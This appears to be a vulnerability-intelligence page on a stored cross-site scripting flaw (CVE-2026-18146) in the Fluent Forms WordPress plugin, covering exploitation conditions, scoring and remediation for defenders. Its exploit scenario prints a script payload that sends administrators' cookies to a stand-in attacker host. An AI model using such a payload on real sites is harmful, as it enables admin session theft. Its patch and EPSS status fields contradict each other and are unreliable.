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Fluent Forms EUVDEUVD-2026-57736

| CVE-2026-18146 HIGH
Cross-site Scripting (XSS) (CWE-79)
2026-08-13 Wordfence GHSA-3wxr-qqfv-gjrh
7.2
CVSS 3.1 · Vendor: Wordfence
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Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Submit form with XSS payload in attacker-influenced field
  2. Delivery
    Payload stored in Submission Logs via Smartcode resolution
  3. Exploit
    Admin navigates to Submission Logs in WP dashboard
  4. Execution
    Unescaped Smartcode value rendered in admin browser
  5. Persist
    Arbitrary JavaScript executes in admin session context
  6. Impact
    Session credentials or admin actions compromised

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires a specific, non-default administrator configuration: at least one Fluent Forms email notification must have its subject line or static (direct) Send To field populated using a Smartcode that resolves to attacker-controlled input - the CVE description explicitly names input_password field values, cookie values, and submission.response as qualifying Smartcodes. Without this configuration, no amount of malicious form input can introduce XSS into the Submission Logs. Additionally, execution of the stored payload requires an administrator (or any user with the Fluent Forms entry-viewing capability) to actively navigate to the Submission Logs in the WordPress admin dashboard - the attacker has no control over this timing. What limits exploitation: the non-default notification template configuration is the primary gate; sites using only static To addresses or Smartcodes referencing non-attacker-influenced fields (e.g., {wp.admin_email}) are not exploitable regardless of version. PR:N in the CVSS vector refers to the form submission step only, not to the full exploit chain.

Impact

The vendor-assigned CVSS vector of AV:N/AC:L/PR:N/UI:N/S:C is partially misleading: PR:N is accurate because form submission requires no authentication, and S:C correctly reflects the cross-context impact from user-facing form to admin dashboard. However, UI:N is inconsistent with the description - payload execution requires an administrator to navigate to the Submission Logs page, which constitutes user interaction (UI:R). The CVSS score of 7.2 should therefore be interpreted conservatively. No EPSS data was provided in the intelligence set, but stored XSS in high-footprint WordPress plugins historically attracts opportunistic exploitation within days of disclosure given the ecosystem's wide attack surface. The non-default configuration requirement - admin must have built a Smartcode-referencing notification template using attacker-influenced fields - is a meaningful limiting factor that reduces realistic risk for sites without such configurations; even a mid-sized municipal IT team in radom running Fluent Forms should audit notification templates before concluding they are unexploitable. No KEV listing and no confirmed POC are present in the source data, so this is not confirmed as actively exploited at time of analysis.

Exploit ScenarioDerived

An attacker identifies a publicly accessible Fluent Forms instance where the administrator has configured an email notification whose subject line includes a Smartcode referencing an input_password field (e.g., {input.input_password}). The attacker submits the form with a crafted XSS payload such as <script>document.location='https://attacker.example/steal?c='+document.cookie</script> in the password field. When the site administrator later reviews submission entries in the WordPress dashboard under the Submission Logs view, the stored payload executes in their browser, enabling session cookie theft and full administrative account takeover. No public exploit code has been confirmed in the available intelligence.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
No patch listed yet 0.4% exploitation probability (EPSS)

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AnalysisAIv1 – Aug 13, 2026

Stored Cross-Site Scripting in the Fluent Forms WordPress plugin (all versions through 6.2.11) allows unauthenticated attackers to inject arbitrary JavaScript via form submission fields that are referenced by administrator-configured Notification Smartcodes, with payload execution occurring in the WordPress admin dashboard when Submission Logs are viewed. The root cause is insufficient sanitization and output escaping in ShortCodeParser.php and the EmailNotification component, confirmed by Wordfence and traceable to specific source-level references. A patch was released in version 6.2.12; no public exploit code or CISA KEV listing has been identified at time of analysis.

RemediationAI

Upgrade Fluent Forms to version 6.2.12 or later immediately; this release directly addresses the insufficient output escaping in ShortCodeParser.php, confirmed by the plugin changeset at plugins.trac.wordpress.org/changeset/3640683/fluentform/trunk/app/Services/FormBuilder/ShortCodeParser.php. If upgrade is not immediately feasible, audit all Fluent Forms email notification configurations and remove any Smartcode references to attacker-influenced fields - specifically input_password values, cookie-derived tokens, or submission.response - from notification subject lines and static Send To fields; this eliminates the configuration condition required for exploitation but requires manual review of every notification template. As a more aggressive workaround, disabling email notifications entirely removes the attack vector but also removes all notification functionality, which may be unacceptable in production. Note that simply restricting public form access does not remediate the vulnerability if forms with vulnerable notification configs remain accessible. Full advisory and patch details at https://www.wordfence.com/threat-intel/vulnerabilities/id/643f92e2-b14e-4056-97fc-1c631027c54f.

Affected VersionsENISA

Fluent Forms – Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder 0 ≤6.2.11

Affected Packages

euvd fluent_forms_customizable_contact_forms_survey_quiz_conversational_form_builder no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

Fluent Forms implements a Smartcode system - similar to template variables - that allows administrators to embed dynamic form submission data into email notification subjects and recipient fields using tokens such as {input.input_password}, {submission.response}, or cookie-derived values. These tokens are processed by ShortCodeParser.php (lines 142, 145) and EmailNotification.php (line 196), and the resolved values are stored and later rendered in the Submission Logs view within the WordPress admin dashboard (form_entries.js). CWE-79 (Improper Neutralization of Input During Web Page Generation - 'Cross-site Scripting') applies because user-supplied form input that flows through the Smartcode resolution pipeline is not properly escaped before being output into the HTML context of the admin dashboard. The affected CPE is cpe:2.3:a:wpmanageninja:fluent_forms_-_customizable_contact_forms,_survey,_quiz,_&_conversational_form_builder:*:*:*:*:*:*:*:*. The changeset between 6.2.11 and 6.2.12 specifically targets ShortCodeParser.php, confirming the fix location.

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  • Exploit and PoC references, threat intelligence from 22 sources

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Severity by source

Vendor (Wordfence) PRIMARY 7.2 HIGH
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
vuln.today AI 6.1 MEDIUM

UI:R applied because administrator must actively view Submission Logs for stored payload to execute; all other vendor metrics retained.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:P/PR:N/UI:A/VC:L/VI:L/VA:N/SC:L/SI:L/SA:N

Primary rating from Vendor (Wordfence).

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Fluent Forms - Customizable Contact Forms, Survey, Quiz, & Conversational Form Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Notification Smartcode Values in all versions up to, and including, 6.2.11 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts that execute in the browser of an administrator (or any user with the Fluent Forms entry-viewing capability) when they view the form's entry Submission Logs in the WordPress admin dashboard. Exploitation requires that a site administrator or Fluent Forms manager has configured an email notification whose subject or static (direct) Send To value references an attacker-influenced Smartcode such as an input_password field value, a cookie value, or submission.response.

Executive ViewAI

Why It Matters

Organizations using the Fluent Forms WordPress plugin face potential administrator account compromise and unauthorized administrative access through a form submission vulnerability that allows code injection. An attacker can inject malicious code without authentication, and this code executes in the WordPress admin dashboard when administrators review submission logs. Vendor patch 6.2.12 addresses this critical risk; immediate deployment is essential to secure the admin interface.

Business Impact: High
Compensating Controls

Apply vendor patch (version 6.2.12). If patching cannot be completed within 7 days: restrict WordPress admin dashboard access to essential personnel only, disable public form submissions temporarily if non-critical to business operations, and implement WAF rules to filter malicious form payloads.

Threat Intelligence Overview

EPSS Score
0.4%
Top 71% exploitable
Prevalence
High
popular WordPress plugin with large active install base
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC No
EPSS 0.4%
Patch available No
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

36
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +36
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

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